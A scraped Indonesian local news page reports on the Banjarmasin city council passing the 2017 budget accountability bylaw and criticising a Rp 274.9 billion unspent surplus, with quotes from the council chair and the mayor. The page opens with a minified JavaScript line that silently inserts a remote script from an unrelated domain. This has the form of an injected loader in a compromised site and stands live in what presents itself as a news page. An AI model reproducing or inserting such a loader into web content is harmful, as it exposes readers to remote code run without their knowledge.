(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Dewan Sorot Sisa Anggaran Pemko Banjarmasin Sebesar Rp 274,9 Miliar


BANJARMASIN, DPRD Banjarmasin mengesahkan Raperda Pertanggungjawaban Pelaksanaan APBD tahun 2017 menjadi Perda. Pada Perda tersebut ditetapkan juga sisa lebih anggaran (Silpa) pada saat itu mencapai Rp 274,9 miliar.

Ketua DPRD Banjarmasin Hj Ananda setelah rapat paripurna pengesahan Raperda, Rabu (18/7),  mengatakan, besarnya Silpa yang terjadi dipenggunaan anggaran pada 2017 lalu tersebut menjadi perhatian dewan. Namun sudah dapat dijelaskan pihak eksekutif hingga diketok pengesahan Perdanya hari ini.

“Memang besarnya Silpa anggaran tahun lalu tersebut menjadi sejarah bagi keuangan daerah kita, hingga kita minta jangan sampai terjadi lagi,” tegasnya.

Menurut Ananda, besarnya Silpa yang mencapai Rp 274,9 miliar tersebut pihak pemerintah kota tidak cermat dalam penganggaran atau tidak cermat dalam pelaksanaan anggaran yang sudah terprogram.

“Jadi kita harap untuk penyusunan anggaran kedepan, karena saat ini mulai dilaksanakan tahap penyusunan anggaran tahun 2019, betul-betul dilakukan dengan cermat, sehingga semua anggaran bisa digunakan dengan tepat dan bijak, tidak bersisa sia-sia, karena untuk percepatan pembangunan daerah,” katanya dilansir Antaranews.com.

Di sisi lain, Walikota Banjarmasin H Ibnu Sina menyatakan, bahwa segala catatan yang diberikan pihak legislatif tentang pertanggungjawaban APBD tahun 2017 ini akan menjadi perhatian. Terutama untuk penyusunan anggaran tahun 2019 yang prosesnya mulai dilakukan.

Dia mengakui, APBD 2017 telah menyisakan Silpa yang sangat besar, yakni Rp274,9 miliar atau mencapai hampir 20 persen dari total APBD tahun tersebut. Menurut dia, dari hasil audit Badan Pemeriksa Keuangan Indonesia (BPK) Perwakilan Provinsi Kalsel, maka didapatkan posisi laporan keuangan pemerintah kota di mana realisasi pendapatan mencapai Rp1,4 triliun atau sekitar 97,5 persen dari yang dianggarkan.

“Tapi terealisasi anggarannya hanya 81,14 persen atau sekitar Rp 1,3 triliun, hingga Silpanya mencapai Rp 274,9 miliar tersebut,” terangnya.

Atas ketidak maksimalan penyerapan anggaran ini, kata Ibnu Sina, merupakan perhatian bersama tentunya termasuk pihak dilegislatif, baik di sisi perencanaannya hingga pelaksanaannya kedepan. “Jadi memang kita harus sangat teliti lagi, terukur dan tepat sasaran, ini harus kawal bersama-sama, sehingga pembiayaan daerah memang benar-benar dapat dirasakan masyarakat,” pungkasnya. (ammar/ant)

Reporter: Ammar/ant
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.